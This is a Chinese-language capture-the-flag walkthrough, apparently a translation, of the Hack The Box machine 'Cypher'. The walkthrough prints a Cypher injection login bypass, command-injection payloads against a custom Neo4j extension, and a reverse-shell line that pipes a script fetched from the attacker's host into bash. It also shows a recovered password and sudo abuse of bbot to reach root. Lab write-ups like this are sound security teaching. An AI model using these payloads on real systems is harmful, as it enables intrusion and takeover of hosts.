HTB Cypher - 从Cypher注入到Neo4j扩展命令注入的完整渗透路径

本文详细分析了HTB靶机Cypher的渗透过程,包括通过Cypher注入绕过登录、利用Neo4j自定义扩展中的命令注入获取shell、权限提升到root用户的全流程技术细节。

HTB: Cypher

Box Info

名称 Cypher
发布日期 2025年3月1日
退役日期 2025年7月26日
操作系统 Linux
基础分数 中等 [30]
创建者 Techromancer

侦察

nmap

nmap发现两个开放的TCP端口:SSH (22) 和 HTTP (80):

1
2
3
4
5
6
7
8
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.57
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-02 11:59 UTC
Nmap scan report for 10.10.11.57
Host is up (0.087s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

基于OpenSSH和Nginx版本,主机可能运行Ubuntu 24.04。

网站 - TCP 80

站点

该站点自称Graph ASM,宣传图形数据库。关于页面声称使用专有引擎进行攻击面管理。

“Try our free demo"和"Login"链接都指向/login。

尝试admin/admin显示错误。

技术栈

HTTP头仅显示nginx:

1
2
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)

目录暴力破解

使用feroxbuster发现:

  • /demo 重定向到 /login
  • /api/auth 返回405错误方法
  • /testing 启用目录列表

在/testing目录中发现custom-apoc-extension-1.0-SNAPSHOT.jar文件。

custom-apoc-extension-1.0-SNAPSHOT.jar

目的

Neo4J是图形数据库产品,Awesome Procedures on Cypher (APOC)是扩展Neo4j Cypher功能的库。

逆向工程

使用jadx-gui分析JAR文件,发现CustomFunctions类中的getUrlStatusCode函数:

1
2
3
4
5
6
7
8
9
public class CustomFunctions {
    @Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
    @Description("Returns the HTTP status code for the given URL as a string")
    public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
        String[] command = {"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
        Process process = Runtime.getRuntime().exec(command);
        // ... 处理输出
    }
}

该函数存在命令注入漏洞。

Shell as neo4j

Cypher注入

在登录时尝试单引号触发错误,显示完整的Cypher查询:

1
MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '{input}' return h.value as hash

使用Cypher注入绕过登录:

1
' OR true return "9948e7baab1783a947c469c4c61e9f4bcce559b0" AS hash;//

命令注入

在认证后的站点中,发现HTTP Statuses查询使用custom.getUrlStatusCode函数:

1
MATCH (n:DNS_NAME) WHERE n.scope_distance = 0 CALL custom.getUrlStatusCode(n.data) YIELD statusCode RETURN n.data, statusCode

直接调用函数进行命令注入:

1
CALL custom.getUrlStatusCode("localhost; id") YIELD statusCode

获取Shell

创建反向shell脚本并通过命令注入执行:

1
CALL custom.getUrlStatusCode("cypher.htb; curl 10.10.14.6/shell | bash; ") YIELD statusCode Return statusCode

成功获取neo4j用户的shell。

Shell as graphasm

枚举

在neo4j用户的.bash_history中发现密码:

1
neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK

该密码也适用于graphasm用户。

权限提升

graphasm用户可以通过sudo运行bbot:

1
2
3
graphasm@cypher:~$ sudo -l
User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot

Shell as root

利用bbot

方法1:文件泄露

使用bbot的whitelist参数读取root.txt:

1
sudo bbot -w /root/root.txt -d

方法2:自定义模块

创建自定义BBOT模块配置文件:

1
2
3
4
modules:
  - ExploitModule
module_dirs:
  - /dev/shm/

创建恶意模块:

1
2
import os
os.system("bash")

执行获取root shell:

1
sudo bbot -p ./0xdf.yml

超越Root

非预期路径

通过目录暴力破解发现/api/cypher端点不需要认证,可直接使用命令注入:

1
curl $'http://cypher.htb/api/cypher?query=CALL+custom.getUrlStatusCode(\"localhost%3b+id\")+YIELD+statusCode'

Web服务器配置

Nginx配置将/demo和/api代理到Docker容器中的TCP 8000端口,其余内容从/var/www/graphasm提供。

Docker容器运行uvicorn服务,处理API请求。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计